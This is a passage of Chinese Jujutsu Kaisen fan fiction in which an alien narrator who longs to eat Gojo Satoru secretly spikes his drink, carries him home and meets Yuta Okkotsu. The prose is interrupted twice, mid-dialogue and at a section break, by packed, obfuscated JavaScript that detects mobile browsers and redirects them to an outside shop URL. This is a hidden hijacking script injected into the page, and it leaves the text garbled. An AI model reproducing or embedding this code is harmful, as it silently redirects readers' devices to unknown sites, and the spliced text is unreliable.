他装聋作哑的水平跟我装瞎的本事不相上下,至少在自说自话这件事上,我们是旗鼓相当的对手。 “顺带一提,我们认识还不到半个月哦,这样算下来,这三天已经是五分之一了呢,按照人类的寿命来算,相当于是二十五年哦。” 我对五条悟把三天扭曲成五年的换算过程没有兴趣,但如果按他的算法,我也可以做出类比。 “抱歉啊,就算是二百五十年,在我的寿命里也不过是打个喷嚏的时间。” “艾利恩会打喷嚏吗?” “所以我们认识的时间,在我这里也只能算喷嚏中的喷嚏...中的喷嚏。” 严谨起见,我把五条悟的换算过程也加了进去,且没有受他故意打岔的干扰。 我不经意轻哼一声,又抿了口足以放倒五条悟的啤酒。 这是什么笨蛋发言。七海建人在心里吐槽着。 “七海,你是在喝酒吗?不会吧?工作时间?” 五条悟也不恋战,迅速将枪口对准试图隐匿自身的存在感但没能成功的七海建人。 “咒灵已经被艾利恩小姐祓除了,按照约定,明明是属于我的任务但没有留下属于我的术式痕迹的事情就交给你来处理——这件事希望你还记得。” “当然,所以我把伊地知也带过来了哦——嗯?他去哪了?刚刚还在的。” 他从一开始就没进来过。我默默纠正,并不打算直接提醒他。 “伊地知先生从一开始就没有进来。”七海建人却说了出来。 原来他还没醉啊——我和五条悟同时露出惊讶的表情。 短暂的惊讶过后,我选择放下已经见底的啤酒杯,五条悟则转身朝着门外招呼—— “喂——伊地知,别害羞了,难得大家都在,一起过来喝一杯吧。” 门外的伊地知握着电话的手抖了一下,差点没把手机摔到地上。 他欲哭无泪。 再然后,我就看到伊地知先生一本正经的走了过来,如果不是透过墙体 看到他刚才的动作,恐怕真要被这副‘成年人的伪装’骗过去了。 “抱歉,我好像又吓到你了。” “不,没关系艾利...” “但这次我是故意的。” 原谅的话堵在伊地知的嘴边。 五条悟强忍着笑意,转而不经意的问起要不要把‘硝子’也叫过来。 看我盯着空空如也的酒杯底不知道又在琢磨些什么的样子,五条悟刚想起我应当是还不认识硝子的,“那家伙也是咒术师,她还挺喜欢喝酒的哦。” 他只字不提自己,且他忽略了,如果只说身份的话,我也是‘认识’硝子的。 “家入小姐是悟的同期吧,用你们的说法。” 五条悟顿了一秒,紧接着我听见他很轻很轻的笑了一声,和他平时那种张扬到要让所有人都知道他在哈哈大笑的形式不一样,虽然轻,但真心的成分反而更重,也许真心就是这样轻飘飘的东西,沉重的是杂质。 “差点忘了,艾利恩记忆力很好呢。” 在五条悟的催促下,伊地知先生一边念叨着这么晚给家入小姐打电话很失礼的话,一边在五条悟硝子肯定没睡的安慰以及不打的话就把你开小差的事情说出去的威胁中最终还是拨通了电话。 ‘硝子’果然还没睡,但和这边的几个大闲人不同,明明已是深夜,她 还在处理工作。 这下我总算理解为什么七海建人会对所有工作一视同仁了。 最后参加五条悟口中的啤酒聚会的人还是只有在场的三人和我。 伊地知看上去很关心七海建人的伤情,尽管他根本没有受伤,但我不知道五条悟是怎样跟他描述我的能力的,他总担心七海建人是不是伤到了什么看不见的地方,又碍于我在场,不敢直接问出来。 好在七海建人察觉到他的意思,再次保证自己绝对没有受伤,因为我根本没有对他出手,反而是我被他伤到了一节触须。 “触、触须?” 好吧,看来五条悟没有跟他说这个。 我刚打算开口解释,就感觉有人悄悄拍了拍我右侧的肩膀—— 原来是不知道什么时候坐到我右边的五条悟。 受地段影响,这家开在废弃商场附近的居酒屋人气实在一般,甚至算得上冷清。 明明应该是客流高峰期的深夜,客人却只有我们几个。 刚来的时候,七海建人提议就坐在吧台,免得店家还要重新打扫一张卡座。 后来加入的伊地知和五条悟自然也是坐在我们旁边的,不同的是伊地知先生坐在了最靠里的位置,也就是七海建人左侧。 五条悟却没有跟他的同伴坐在一起,反而坐到我边上,大咧咧的挤占以我为中轴线,往右三分之二的地盘,本该属于我的地盘。 几天的相处下来,他留给我的尊重已经所剩无几了。 我面无表情的转头看过去,盯着他的绷带眼罩看了半天,也没能从那张笑意盈盈的脸上看出多少挑衅和轻蔑的恶意。 这让我刚刚生出的意见没有理由发作了。 算了,本来也不是什么大不了的事情。 我正准备转过头继续研究啤酒杯的杯底,刚刚还默不作声的人又趴到我耳边,虽然没有直接触碰,但说话间带出的气息还是打在我的耳廓边缘。 “艾利恩酱,艾利恩酱。” “我听得见。”趁没人注意,我将刚刚解析完毕的啤酒残余重新注满酒杯,刚好是一口的量。 说完,就借着喝酒的动作回避他的干扰,与此同时也分出一条触须监测他的动作,原来五条悟正用手拢在我的耳边,电视剧里人类说悄悄话的动作,难怪他呼吸流向有些不自然。 “伊地知被你吓到了哦。” “我已经道过歉了,两次都道过了。” 尽管道歉本身也没有多大的意义,但至少能人们追究起来的时候作为一个敷衍的借口。 “七海呢?” “七海先生没有被吓到,从刚才的表现来看,他有猜到我会生气的可能性,最后也没有受伤,我想我不需要向他道歉。” “那艾利恩有受伤吗?” “嗯...”我思考了两秒,“被削掉了一节触须,但没有受伤。” “你是壁虎吗。” “不是那种概念,就当是被听不懂顾客要求的理发师多剪掉了五厘米的头发吧。” “那不是很过分吗?!内心肯定受伤了吧?” “嗯,内心很受伤。” 我故意说着可怜的话,希望能通过施加道德压力的方式报复这个拿我当笨蛋的五条悟。 “欸...那该怎么办?要怎么做艾利恩才能原谅七海呢?” 他突然凑得更近了,明明是比我高大许多的体型,此刻却几乎趴在桌子上,只为从下往上的和我对视。 我放下酒杯,心知这下躲不过了,除非在几人面前变成非人的形态。 我朝他的脸伸出手,在将要碰到皮肤的时候勾住绷带的边缘,白色的发丝扫在指背上,产生些许痒意。 轻轻一拉,翘首以待的蓝色就出现暴露在空气中,没有丝毫惊讶。 因为束缚而向上窜起的刘海也顺势垂下,末梢正好落在眉睫之间。 “你真的有28岁?” 对比我见过的28岁成年亚洲男性的样本,哪怕不放下眼罩也不妨碍我看清他的长相,但或许是居酒屋的灯光产生的眩晕,原本肯定的结论也变得不可信了。 “真的。”五条悟难得老老实实回答一次,嘴型做的很明显,脑袋还随着说话的动作上下动了动。 不同于强行让自己不去在意这一幕的伊地知和七海,见多识广的店长见怪不怪的把盐苏打推到那个趴在桌子上跟女友调情的男人面前。 打从进门开始,他就不看好这小子,眼下被对方质疑年龄也是活该。 又不是高中生了,还摆出撒娇卖乖的样子,说话用词也没有一点男子汉的气概,眼前这位酒量不俗的小姐肯定是不吃这套... 我没忍住伸手揉了揉触手可及的白色。 “盐苏打。”店长的语气堪称冰冷。 “谢谢~”五条悟头都没抬。 直到一切完成,我才将手和刚刚注射完啤酒的触须一并收回。 确信没有人注意到我的动作,在五条悟用吸管吸取苏打汽水的时候,我就这么明目张胆的盯着他。 他一口气喝掉了一半,我彻底放心了。 “什么?你想试试看吗?” 我摇了摇头。 “那试试这个。”说着,他突然掏出一个包装精美的纸盒,熟练的用修长的手指拆开后,一块覆盖着深蓝色透明晶冻,底部又是深棕的长条糕点。 “这是什么?”我好奇的凑过去。 结果等了半天,也没等到旁边的人答话。 一回头,原本只是趴在桌上说话的人,这下已经侧脸贴着桌面,彻底闭上了双眼。 欸? 我眨了眨眼,虚假的心脏真实的狂跳起来,人类处于极度紧张的情况下的正常反应。 “这家伙喝醉了。” 直到七海建人的声音从背后响起,我才反应过来去试探他的鼻息。 我用的是手指,正是拽掉他绷带的那只手,湿热的呼吸带着肉眼无法察觉的水气分布在被发丝挠过的指背,咒力也正常流动着,只是覆盖表面的特殊力场不见了。 “...吓死我了。” 伊地知瞪大了双眼,不敢相信自己听到了什么。 我像一个真正的人类一样,担心另一个人的死亡。 差点以为这次又搞砸了。 聚会进行到这里也差不多结束了,七海先生主动买了单,将钱包收进西装内侧的口袋后,又主动拉起五条悟的一条肩膀,用自己的半边肩膀支撑起失去意识的家伙。 伊地知先生跟他一起把五条悟塞进了车里,我和七海建人坐在后座,把东倒西歪的五条悟夹在中间。 伊地知先生的车开的很稳,两人提议先送我们回去,据说五条悟提前交代过,自己今天要回家休息。 车厢里一直很安静,因为没有人说话。 睡着的五条悟也很安静,左右晃动一圈,他最终倒在我身上了,七海建人中间看过来一眼,我平静的回以视线,我以为他会说些什么,可他什么也没说。 直到到达目的地,他才帮忙把五条悟扶下车,似乎打算就这么一路将他送回家。 我还提着五条悟带回来的羊羹。 “等等。” 刚准备向前走去的七海建人停下脚步,回头等我继续。 我将塑料袋的提手往上带了带,正好卡在手腕的位置,然后向七海先生伸出双手; “不介意的话,交给我就好了。” “我们约好了,在他同意之前,我是不会擅自吃掉他的。” 话还没说完,温暖的身体就倒在我身上,准确来说,是被人放在我怀里了。 我像抱着大型玩偶一样,双手拖住他的腰背,触须在人看不见的地方维持整体的平衡。 “今天的事情,以后不会再发生了。”七海建人承诺道。 我转头看了看那张倒在我肩头昏睡的脸。 “喝醉的事情吗?” 发丝蹭着我的脖颈,有点痒,但可以忍受。 “不,是试探你的事情。”他说的很直白。 “五条先生,已经信任你了。” 他意有所指的看了看昏睡不醒的人。 “就这样?”我不确定的问道。 “虽然不知道五条先生在想什么,但从表现来看,嗯,就这样。” 说完,他向我略一鞠躬,幅度很浅,只在打招呼的范畴。 “接下来的事情,就要拜托您了,艾利恩小姐。” 我以为他说的是送五条悟回家的事情,想也没想就答应了。 “哦。” 互相道别以后,七海建人就离开了。 真奇怪,我还以为他至少会看着我把完整的五条悟送上楼。 如果我是个言而无信的家伙,他的同伴就要被我吃掉了哦,意味着明天、以后,再也无法见面了哦。 ... 可他转身就走了。 只是不到一个喷嚏的功夫,我就获得了两个人、或许是三个人的信任。 我一直觉得人类还是很小心眼的,现在连这个结论都不准确了。 我在原地思考了一会,直到被路过的人询问是否需要帮忙,才摇摇头,顺便调整一下姿势,向着回家的方向走去。 包裹着跳动心脏的胸膛靠在后背,毛茸茸的脑袋还是抵在耳边,他真的一点声音都没有,连醉话也没说,明明清醒的时候话那么多。 装的? “再不醒来的话,我就在这里吃掉你。” ... “连七海先生和伊地知先生一起吃掉。” ... “‘硝子’也吃掉。” ... “夏油杰也吃掉。” ... “啊,咒术师的味道真不错,一直只吃咒灵真是太可惜了。” ... 好吧,他是真的睡着了,甚至是昏睡。 光靠双手托住五条悟还是有些勉强,于是我又用触须将自己与他的躯干紧紧绑在一起。 我的人类身体开始渗出汗液,不是因为温度,而是因为我正在忍耐,忍耐近在咫尺的诱惑。 想象一下,一块诱发着浓郁香气的蛋糕就贴在你的唇边,不论是气味还是口感你都能通过唇瓣上的触觉小体感知到,你甚至尝过这块蛋糕的味道,以至于念念不忘,愿意为它忍受时间与耐心的折磨。 我突然觉得自己应该离五条悟远一点了,为了最终的计划。 可同样也是为了最终的计划,我又不能离他太远,如果他真的在我看不见的地方一个人死掉了怎么办?那我之前的努力不都成了白费? 人类这种生物可是很脆弱的,稍微一个不注意就会失去生命迹象。 一个失去生命迹象的五条悟,味道一定不怎么样,可能还不如咒灵。 “在我吃掉你之前,不准死掉。” “欸?死、死...五条先生受伤了吗?” 感知受到浓郁气息的干扰,我甚至没有发现小野先生是什么时候出现在旁边的。 电梯门开启,我走了进去,他小心翼翼的站到按钮边上,按下我们共同的楼层。 “不,只是喝醉了....”看他担心的样子,我又补上一句:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159523|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我开玩笑的。” 说着,又把背上的五条悟往他那边靠了靠,像展示自家健康的宠物猫一样,对他说: “他很健康,没有受伤,没有生病。” “哦、哦...抱歉,是我误会了。” 我不在意的摇摇头,因为这个动作差点把靠在肩上的脑袋蹭掉,因为小野先生在场又不能用触须帮忙,只能艰难的抬起他半边身体,自己也朝一侧倾斜——好歹没让他的脑袋滑下去。 “需要帮忙吗?话说艾利恩小姐不会是一路背着五条先生回来的吧?” 我警觉的意识到其中的异常,哪怕小野先生本人没有这个意思。 香气作用下思维变得迟钝的我,半天才回上一句: “我...力气还挺大的。” 小野先生尴尬的笑了,“看、看的出来。” 走到家门口,我还是拜托小野先生帮忙开了门。 回到家,我犹豫了一会,还是选择把五条悟放进卧室的床上,至于卫生问题就不在我的责任范围之内了,而且抛去食物属性,他闻上去也挺干净的,不臭。 但我还是勉强帮他脱掉了鞋子,再用枕头把头部垫高,最后盖上被子,不知道他是习惯侧睡还是平躺,安全考虑,我还是选择以平躺的姿势安放他。 做完这一切,我已经准备回到客厅的第二母星上了。 但我又想到那条关于醉酒的人被自己的呕吐物呛死的新闻。 黑暗中,我又回到卧室,一边用平板电脑看电影,一边观察着五条悟的生命体征,如果有呕吐的迹象就用触须抬起他的上半身。 唉。 我在心里叹了口气。 人类真的太脆弱了,哪怕是强大的个体,也很容易死掉。 奇怪的是,明明做了这么多麻烦的事情,我却不觉得烦躁,反而产生一点...或许应该称其为成就感的情绪。 我已经是一个成熟的‘外星人’了,就在刚刚,我科学的照顾好了我的储备粮——我选择这样解释成就感的来源。 以及,不知道从什么时候开始,我已经不生五条悟的气了。 绝对不是因为七海先生口中的羊羹,超难吃,我讨厌这种虚有其表的食物。 等五条悟醒来,得告诉他以后不要买了。 我以为醉成这样的人至少要等到第二天白天才醒来,但月亮还没被太阳换下场,五条悟的呼吸频率就变了。 起初我还以为是有什么意外情况,连忙放下平板凑到他头顶,仔细的盯着他的嘴。 结果还没等那张嘴张开,我就对上一双懵懵的蓝色眼睛。 这副表情让五条悟看上去连十八岁都没有,简直像个人类幼崽。 “晚上好,你喝醉了。” 白色的睫毛盖住双眼,很快又大方的敞开。 “就知道那个大叔没安好心”他揉了揉脑袋,“但是往客人的无酒精饮料里加入酒精——太过分了吧,好过分啊,艾利恩也觉得很...” ‘过分’两个字还没说完,我就心虚的打断他的抱怨。 “是我。” “嗯?”五条悟还没反应过来。 “往盐苏打里放啤酒的人..是我。” “但你不是喝完了吗?” 五条悟印象很深,从他进门开始,这个人就在研究那个空酒... 等等,她后来是不是做过喝酒的动作。 啊...他说怎么总觉得哪里不对,明明都空了,为什么还会... 等等等等等等——还是不对。 “我解析了啤酒的成分和组成结构,在空酒杯和你的盐苏打里加入了透明的啤酒。” 五条悟停止了思考。 ... 五条悟恢复了思考。 “你...好过分啊。” 我没有说话,已经没有狡辩的余地了。 “醉酒可是很难受的哦。” 我眨了眨眼。 “装可爱也没用,不如说这样更可恶了!道歉呢,道歉,我记得你可是很会道歉的。” “但是道歉也没有意义吧,再说你已经醒酒了,我检查过了,血管里的酒精成分已经被代谢的差不多了。” 说是这么说,但看到这家伙罕见皱着眉,又一副小孩子的表现,身为成熟外星人的我居然感到一丝羞耻。 真罕见啊,这样的我。 “作为道歉,我原谅你了。” “我没有跟你道歉哦。”五条悟试图提醒。 “嗯,不需要道歉我也原谅悟了。” “不是这个意思啦,话说你在干什么,不是不习惯跟人靠很近吗。” 他好奇的看了看我们之间的距离。 我的手还撑在他两侧,垂下的发丝像铁笼一样将他困住。 “我在防止你死掉。” “为什么一醒来就要听这么吓人的话题。”五条悟吐槽到。 打破局面的是一通电话。 我顺手用触须将它从五条悟口袋里拿出来,放在他面前。 “谢谢你,不过你没偷过东西吧。” 他本意是想开玩笑,这个我知道。 但我出于一些不方便透露的个人原因,默默退到一边,拿起了被我放在床边地板上的平板电脑。 “不会吧,居然还当过小偷,你这个装的一脸乖巧的外星人到底还背着我干过多少坏事啊。” “只是三块炸鸡块...”我不赞同的解释,“而且我的工资还被扣掉了,明明那些钱够买好几份炸鸡了。” 五条悟的指责卡在嘴边,短暂的停顿后,变成不加掩饰的大声嘲笑。 我就知道。 还好我是个脸皮很厚的外星人,如果换作伊地知先生,肯定羞愧到无地自容了,不过伊地知先生不会偷吃炸鸡就是了...好吧也不一定,我对他还不怎么了解。 “早上好,这里是五条——” “悟,现在就来高专一趟。” 五条悟神色一僵,脸上的笑容缓慢消失。 “这么快?” “嗯,这次...可以带上你说的那个人了,七海和伊地知汇报了情况,我的意见和你一样。” “好,我知道了。” 挂断电话后,笑容再次浮现,甚至比之前来的更夸张了。 不好。 “艾利恩酱,要出门咯~” “嗯,慢走不送。” “哈哈哈,是我们一起啦。” “...” “就当是...第二个条件怎么样?” ... “唉。” “欸?你刚才是在叹气吗?” 我一边走出卧室,将换衣的隐私空间留给他,一边头也不回的说: “已经叹过很多次了。” 五条悟的动作很快,没过一会就走出了卧室。 我甚至觉得他应该只是缠了个绷带。 “要快一点,这次就使用‘五条悟专人驾驶模式’吧。” 我对这个一听就是刚刚问世的新名词毫无期待。 “我们要去哪。” “给艾利恩介绍一位新朋友~” “不需要。” “那新食物?” “说来听听。” 五条悟轻笑两声,不紧不慢道: “特级过咒怨灵祈本里香。” 8.想吃的第八天 也许比起去见谁,我应该先问问我们要去的地方叫什么。 那样就不会出现如下对话了。 “你们把咒灵也关在动物园里了吗?” 与此同时,那只正在接受手持长矛的女饲养员的特殊驯养的熊猫,带着憨厚的表情缓缓回头。 “日本现有的熊猫分别位于东京上野动物园、和歌山白滨冒险世界以及神户王子动物园。” 女饲养员见到有游客到访,也放下手中的危险武器,我猜的没错,这种训练内容绝对是违法的,一旦被人曝光,不说影响国际局势,至少也会成为让政客头疼的舆情危机,毕竟熊猫还是很受民众喜爱的。 她神色古怪,但我觉得她没必要担心,因为我自己也是堂堂正正的黑户,没有举报别人的立场。 不远处还有一位男饲养员,他的防护措施做的不太好,面对熊猫这种看似软萌实则凶猛的野兽,居然只穿一件短袖,不说被抓伤,连感染细菌的风险都无法避免。 不愧是五条悟投资的动物园,真是一点也不正规。 “艾利恩是熊猫迷吗。”对自己经营的产业面临的投资风险还一无所知的五条悟一如既往的心大。 我默默叹了口气,试图通过更多细节引起他的警惕,毕竟我现在住的房子姑且也在他的名下,如果他本人面临牢狱之灾,我也将因住所被查封拍卖而回归流浪生活。 “根据眼前这只熊猫的体型可以排除六月份出生的香香,大概率也不会是仙女或者比力,而东京也只有这三只熊猫...当然不排除你们从其他地方偷走熊猫的可能。” 是错觉吗?我看到熊猫的耳朵动了一下。 “奇怪...”我小声呢喃道。 “怎么了?”五条悟突然侧身凑过来,耳朵朝我贴近。 “闻不到粪便的味道。” “噗——”饲养员捂着嘴,没忍住笑出了声。 熊猫大张着嘴,崩溃之下居然学会说人话: “我才不会有那种味道呢!” 我疑惑的看向五条悟:“玩偶外套已经能做到这种水平了吗?” “居然说别人是外套,太没礼貌了!” “冷静点熊猫,她是在夸你,说明你身上没有...噗。” “鲑鱼。”男性饲养员突然说起鱼类的名字。 嗯... 果然是动物园。 “悟...”熊猫无助的看向五条悟。 背负起最后希望的五条悟清了清嗓子,郑重介绍到—— “这位是咒术高专一年级的熊猫同学,因为不是真正的熊猫,所以身上不会有奇怪的味道哦。” “粪便的味道不奇怪吧。”我纠正道。 “熊猫是拥有自主意识的特殊咒骇,虽然不是人类,但也不是你以为的动物熊猫,至于名字...就跟艾利恩一样啦。” 他郑重其事的总结:“熊猫不是熊猫(panda),艾利恩不是艾利恩(alien)。” 熊猫像获得某种认可,理直气壮的盯着我,也可能是在瞪我。 “抱歉。”我承认我有点慢半拍。 “不...突然这么认真的道歉我也...” 不等熊猫说完,五条悟就介绍起了其他人。 “这位是一年级的真希同学。” “你好”她随性的打了个招呼,听上去对我的印象还不错。 “谢谢。”我点点头。 “这位是狗卷同学,因为术式的特殊性,平时都会说饭团语,艾利恩不要误会成别的东西哦。” “木鱼花。(不要误会)”喜欢饭团的狗卷同学说。 我看了看眼前的几人,又看了眼操场,发现除了我们五个以外再没有其他人,更别说咒灵。 跟三位一年级的学生道别,他才朝一座平平无奇的古建筑走去。 不知道穿过多少回廊拉开多少道木门,我们找到一条过分狭窄的通道,只允许一个人通过,我也从并肩变成跟在他身后。 “艾利恩说过,人会因为不想诅咒喜欢的人而去诅咒月亮。” 五条悟的声音在走廊里浮现又淹没,本该出现的回音被黑暗吞没。 我没有接话。 “在艾利恩看来,人类是很可爱的生物吗?” “作为食物还算可爱。” 至少作为食物的五条悟,是我见过最可爱的生物。 当然如果他能哈哈哈的笑着被我用触须吃掉就更可爱了,简直是无以复加的可爱,光是想象足以让我心跳加速,这大概就是人类所说的心动吧。 “那...会诅咒喜欢的人的家伙就在眼前了。” 去路被一道贴满符箓的门挡住,刚好是通道到顶的高度。 五条悟轻而易举的推开看上去严防死守的门,他一走进,原本漆黑的房间瞬间亮起火光,是设置在密室墙壁上的油灯。 昏黄的灯光将墙壁上一层一层封死的符箓与咒印照了出来,但最让人在意的,还是被紧缚在房间中央的人,没错,是人。 人型咒灵?还是人与诅咒的结合体? 选择将掺有其他物种血统的个体看作异类而不是同胞,还真是人类的惯常作法,这让我想起一些移民国家曾大肆采用的一滴血法则。 受到某种未知咒术的影响,原本沉睡的咒灵醒了。 他迷迷蒙蒙的睁眼,又被灯火刺痛眼睛,他想用手遮挡,却借此发现自己早已失去活用双手的自由。他被捆在一把椅子上。 在充满肃杀与紧张的气氛下,五条悟还是用他熟稔的轻松语调向面前的人说明他目前的处境。 听着听着我才明白原来我又误会了,眼前的是人类,咒灵是附在他身上的,而他的名字也不叫祈本里香,而是乙骨忧太。 “好消息是,这位艾利恩小姐拥有特殊能力,她可以帮你无痛消除诅咒哦~当然,前提是在合适的地方把里香叫出来。” “真、真的吗?”他略显紧张的望向我,作为全场唯一站着的人形个体,我得以自上而下的看他。 他的眼睛跟我一样,是黑色的,不同的是他眼下还有淡淡的黑眼圈,看来被诅咒折磨的够呛啊。 所以为什么,在听到可以消除诅咒的时候,他没有露出欣喜若狂的表情呢? “不会...给你带来麻烦吗。”他又低下了头。 “他真的不是里香吗?”我突然问道。 “为什么这么问?”五条悟不紧不慢的反问。 “他身上的确还有一道格外强烈的诅咒气息,但尝起来是一样的。” “艾利恩,你在吃他吗?”他的声音突然和环境融为一体,格格不入的轻浮消失了。 “只是尝了一口,不用担心。”我笑着说,“所以如果要让我吃掉里香,那我就只能把忧太也吃掉了。” “失望吗?看上去方便的工具原来也没那么称手。” 安静再次将逼仄的空间笼罩,只剩燃烧的细微响动。 “我相信你,艾利恩。”他说。 可我不需要信任,我或许想要,但并不需要。信任于我只是行事方便的工具,相比之下,我更想要的是尊重。不管是出于畏惧,还是出于疏远的目的,只要尊重我的规则,我的意愿就好。 为什么把我介绍给他的学生,难道他想跟一个时刻等着‘杀死’他的人做朋友?排除掉所有剩余的可能,再结合他刚刚犯下的前科,我只能想到最后一种可能。而我也说过了,我不想成为他们。 “你已经答应了,所以你会做到的,哪怕没有‘束缚’。” 他的语调又轻扬起来,我想把它摁下去。 “这是诅咒吗?” “嗯。”他笑着肯定,“名为信任的诅咒。” 我盯着那张不带一丝虚伪的笑脸,都说眼睛是心灵的窗户,他后来安上去的窗帘遮光性很好,唯独挡不住他,也挡不住我。 我转过头,将视线放回乙骨忧太身上。 “少年。” “...是。”尽管犹豫,他还是礼貌应答。 我对礼貌的人类印象不差,至少他们乐于维持浮于表面的尊重。 “哪怕我将吃掉的是你的一部分,你也愿意吗?” “是。”他抿着嘴,唯一一次不带犹豫的回复。 “或许会连你也一并吃掉,你也愿意?” “...是。”他的声音沉下来,意志却没有沉没 “你呢?”我又换了询问的对象。 “如果连我也拦不住,那艾利恩就连我一起吃掉吧。” “自愿?” “我保证。”绷带蒙住的眼里闪烁着只有我能窥见的微光。 微不足道的光亮,比我见过的任何一颗自行发光的星体都要迷人,因为那是欲望得到满足的未来。 我想起起第一次看见地球的冲动,当时我抑制住了,为了不让上一颗星球的悲剧重演。 而这次即使顺从冲动,也不会留下懊悔的记忆,因为—— “这是你答应我的。”这是悟答应我的。 · 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168364|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >正式释放乙骨忧太是在我跟夜蛾正道见面以后的事情,对于这个能对五条悟施以制裁的男人,我没有特别深刻的印象,除了被告知他就是熊猫的创造者这件事。 没有经过繁殖,却创造了另一个生命,说是神迹也不为过,我突然有了一些别样的想法,但也只是头绪。 再见到乙骨忧太,他已经穿上了咒术高专的校服,白色的外套在深色制服中像颠倒的黑羊,他本人也知道自己身为‘异类’的处境,但他以为这是因为自己太弱,而且只是一个过客,命不久矣的过客。 “我也不是一定会失手,而且不是还有其他办法吗?”我勉强安慰他。 既然答应了五条悟,作为需要长期相处的对象,保持一定的善意会省去很多麻烦。 “抱歉,艾利恩。” 他又又又在道歉了,搞不懂,懒得说。 “鲑鱼。(艾利恩说的对)” 上次任务里香出手了,但情况又有特殊,乙骨忧太完全无法控制里香的行动,里香在他面前更像是一个只在某些时刻听话的意识体。 按理说相对独立的状态更有利于实现我答应的条件,但很可惜,看上去是在自主行动的里香,本质上还是跟乙骨本人同为一体,意识的独立并不能完成本质的切断,咒灵的构造又很特殊,或者说是咒力本身的特殊。 我能剥离、吸收那些浮于表面的咒力,例如之前从他和五条悟身上品尝到的部分,但如果要实现让咒灵里香彻底消失的效果,还是必须连同乙骨本人一起吃掉,否则无论我如何用触须包裹、吸收咒灵里香的构造体,一旦条件满足,她还是会出现,从作为本源的乙骨忧太身上。 对此,乙骨忧太本人没有任何意见,我就更没有了,但五条悟的意见很大,而在这件事上,他又是我的甲方。 ...不该这么比喻的,突然觉得五条悟超可恨了,吃到嘴里都要吐出来呸呸呸的可恨,毕竟甲方就是这种东西。 虽然五条悟有强调这次不能放里香出来,但为了防止错过机会,再加之我本来也是个闲到发霉的社会闲散人士,所以还是被抓来当监工了。 “艾利恩的触须辐射范围有多广?”五条悟问我。 “很广。”我没做过测试。 五条悟不认为我在敷衍,而且他相信区区一个街区的距离我还是能做到的。 于是他决定让我自由行动,但最好是待在视野开阔没有遮挡的地方,方便监测里香的活动状态。 我想了想,决定随便找一处楼顶,或者直接以隐身状态停在半空,反正这两次任务我都需要全程开启隐身。 到达任务地点,已经是隐身状态的我跟两人通报一声,顺便出于我的外星人道主义送出安慰以后,我就离开了现场, 我的确是找到了一处视野开阔,便于观察的位置,且这里还有一个行踪诡异,异常眼熟的家伙,他满是坏主意的小脑瓜里还有我留下的一小节触须。 他没有发现我。 他还在盯着目标。 我悄无声息的站在他身后,开始纠结是给五条悟打电话,还是明牌出招,直接跟他本人打招呼。 我是说万一,万一他本人其实是愿意的呢?既然本人都愿意的话,哪怕是关系再好的朋友,也该尊重对方的意愿对吧?而且我又不是五条悟的孩子,根本没必要事事听从他的意见——再说他其实也没反对对不对?只是商量一下而已,又不是真的吃掉他,也不会被五条悟发现的。更何况我现在是隐身的状态。 再把声音换一下...最好是换成跟我形象差异够大,又真实存在的人,否则也可能出现发声方式诡异从而被识破的情况。 在记忆里搜索一番,我选定了合适的人选,但匆促做出的计划就是会出现各种纰漏,当时的我还没有意识到这点。 · 从教徒处得到情报的夏油杰来到现场附近,他要亲眼看看特技过咒怨灵的实力。 这一趟来的不差,尽管祈本里香还未现身,眼前的两个咒术师也让他感到愉悦。 随着狗卷棘的伤势加重,相比之下咒灵的实力却丝毫未减...终于要出现了吗?特级过咒怨灵... “杰。” 听到这个熟悉的声音,夏油杰的瞳孔瞬间骤缩—— 被发现了吗? 但为什么会是他? “你愿意没有痛苦的被我吃掉吗?” ... ... ... 是他疯了。 还是夜蛾正道疯了。 9.想吃的第九天 “不论阁下是谁,这个玩笑都很无聊。” 这话说的不留情面,我却不觉得被冒犯,正如我完全不知道是自己先冒犯的他,我以为他只是生性不爱玩笑。 “我没有跟你开玩笑,杰。”我试图澄清这个误会。 说到澄清,那就再说一句,之所以厚着脸皮直呼其名,也是为了与我惯常的称呼方式区分,看得出来,我是一个很有边界感的外星人,没有特殊情况的话,是做不出对着第一次见面的人叫他名字的事情的。 “我是真的想问你的意见,如果我不打算尊重你,我就不会多次一举来问你了。”我继续解释。 对此,夏油杰表示很难苟同。 “那么你希望从我这里得到什么答复呢?”但他没有将反驳的话说出开,甚至没有回头。 “我自然是希望你愿意的。” 对这句话,夏油杰表示就更难理解了。 “阁下的话听上去很有诚意...既然如此,为什么不当面谈谈呢?” “嗯?我们不是正在面谈吗?” 夏油杰忍了又忍,但理智告诉他眼下还是正事要紧。 他一边希望特级咒灵赶紧现身,这样他就能快点确认情报,再转身解决身后这个莫名奇妙的家伙。 一边又希望特级咒灵先不要现身,因为这样他就能先解决身后这个光是说话就让人窝火的存在了。 “只有一方露面的谈话恐怕不能称之为面谈吧。” 嗯... 好像是有些不礼貌。 但是既然他都这么说了,看来是不打算直接拒绝了,还有谈判空间。 “好了,你转过来吧。” 与此同时,乙骨已经在咒灵里香的帮助下解决了任务目标,两人原本打算收工回家,但不知为何还站在原地。 正事已经结束,夏油杰也就无心再盯着两人的行动了。 他转过身,打算看清这个装神弄鬼的家伙的真面目—— “现在可以谈谈了吗。”我说。 谈谈?呵。 夏油杰在心里翻了个白眼,哪怕他从没真正做过这个动作。 他勉强咬着后槽牙,从牙缝里挤出几个还算礼貌的字眼: “阁下...就是这副尊容?” 对着夜蛾正道这张一本正经的大黑脸,原谅夏油杰实在是说不出什么好话。 